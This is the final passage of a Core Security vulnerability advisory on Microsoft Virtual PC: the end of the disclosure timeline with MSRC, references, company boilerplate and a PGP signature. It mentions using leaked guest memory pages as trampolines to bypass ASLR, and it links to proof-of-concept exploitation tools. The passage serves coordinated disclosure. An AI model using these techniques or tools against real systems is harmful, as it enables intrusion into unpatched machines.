While working on the two items described in the previous email, Core has
|
|
determined that is quite likely that the bug can also be used to bypass
|
|
ASLR on Guest OS that support it by using instructions at fixed (or
|
|
nearly fixed) locations of the leaked pages as trampolines. Use of the
|
|
leaked pages as a covert IPC mechanism for intra-guest processes is also
|
|
a possibility. Core requests confirmation that Hyper-V is not affected.
|
|
|
|
. 2010-03-15:
|
|
MSRC confirms that Hyper-V is not affected. Asks for a copy of the
|
|
advisory to be published on the 16th.
|
|
|
|
. 2010-03-15:
|
|
MSRC notes that it was contacted by a reporter inquiring about the issue.
|
|
|
|
. 2010-03-15:
|
|
Core acknowledges receipt of previous email, says that the advisory is
|
|
still in editing process and indicates that a press release will be
|
|
published as well. Speculates that the press inquire may have been the
|
|
result of Core pre-announcing the upcoming press release about a Virtual
|
|
PC vulnerability for the following day.
|
|
|
|
. 2010-03-16:
|
|
Advisory CORE-2009-0803 published.
|
|
|
|
|
|
|
|
10. *References*
|
|
|
|
[1] Microsoft Security Research and Defense Blog: Understanding DEP as a
|
|
mitigation technology.
|
|
http://blogs.technet.com/srd/archive/2009/06/05/understanding-dep-as-a-mitigation-technology-part-1.aspx
|
|
[2] How to enable Structured Exception Handling Overwrite Protection
|
|
(SEHOP) in Windows operating systems.
|
|
http://support.microsoft.com/kb/956607
|
|
[3] Address Space Layout Randomization in Windows Vista.
|
|
http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx
|
|
[4] Pushing the Limits of Windows: Virtual Memory.
|
|
http://blogs.technet.com/markrussinovich/archive/2008/11/17/3155406.aspx
|
|
[5] gera's Insecure Programming by example,
|
|
http://community.corest.com/~gera/InsecureProgramming/
|
|
[6] Proof-of-concept exploitation tool for the ABO2 exercise (compiled
|
|
with Borland BCC32).
|
|
http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=advisory&page=CORE-2009-0803&file=vp_abo2_launcher.c
|
|
[7] Multiple security vulnerabilities in the HTTP TRACE, WebDAV and
|
|
Digest Authentication Methods in the Sun Java System Web Server and Sun
|
|
Java System Web Proxy Server.
|
|
http://sunsolve.sun.com/search/document.do?assetkey=1-66-275850-1
|
|
[8] Proof-of-concept exploitation tool for the Java System Webserver
|
|
buffer overflow when running on a Virtual PC guest.
|
|
http://corelabs.coresecurity.com/index.php?module=Wiki&action=attachment&type=advisory&page=CORE-2009-0803&file=sunjavawebserver-webdav-vpc-poc.zip
|
|
|
|
|
|
11. *About CoreLabs*
|
|
|
|
CoreLabs, the research center of Core Security Technologies, is charged
|
|
with anticipating the future needs and requirements for information
|
|
security technologies. We conduct our research in several important
|
|
areas of computer security including system vulnerabilities, cyber
|
|
attack planning and simulation, source code auditing, and cryptography.
|
|
Our results include problem formalization, identification of
|
|
vulnerabilities, novel solutions and prototypes for new technologies.
|
|
CoreLabs regularly publishes security advisories, technical papers,
|
|
project information and shared software tools for public use at:
|
|
http://corelabs.coresecurity.com.
|
|
|
|
|
|
12. *About Core Security Technologies*
|
|
|
|
Core Security Technologies develops strategic solutions that help
|
|
security-conscious organizations worldwide develop and maintain a
|
|
proactive process for securing their networks. The company's flagship
|
|
product, CORE IMPACT, is the most comprehensive product for performing
|
|
enterprise security assurance testing. CORE IMPACT evaluates network,
|
|
endpoint and end-user vulnerabilities and identifies what resources are
|
|
exposed. It enables organizations to determine if current security
|
|
investments are detecting and preventing attacks. Core Security
|
|
Technologies augments its leading technology solution with world-class
|
|
security consulting services, including penetration testing and software
|
|
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
|
|
Security Technologies can be reached at 617-399-6980 or on the Web at
|
|
http://www.coresecurity.com.
|
|
|
|
|
|
13. *Disclaimer*
|
|
|
|
The contents of this advisory are copyright (c) 2010 Core Security
|
|
Technologies and (c) 2010 CoreLabs, and may be distributed freely
|
|
provided that no fee is charged for this distribution and proper credit
|
|
is given.
|
|
|
|
|
|
14. *PGP/GPG Keys*
|
|
|
|
This advisory has been signed with the GPG key of Core Security
|
|
Technologies advisories team, which is available for download at
|
|
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|
|
-----BEGIN PGP SIGNATURE-----
|
|
Version: GnuPG v1.4.8 (MingW32)
|
|
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
|
|
|
|
iEYEARECAAYFAkuf5fwACgkQyNibggitWa2IuwCeJitqH31/htKYFIuoeXVVbmmN
|
|
lscAn1z+fpwqI7rbHnJbjRujiZ3mfJOJ
|
|
=hgB9
|
|
-----END PGP SIGNATURE----- |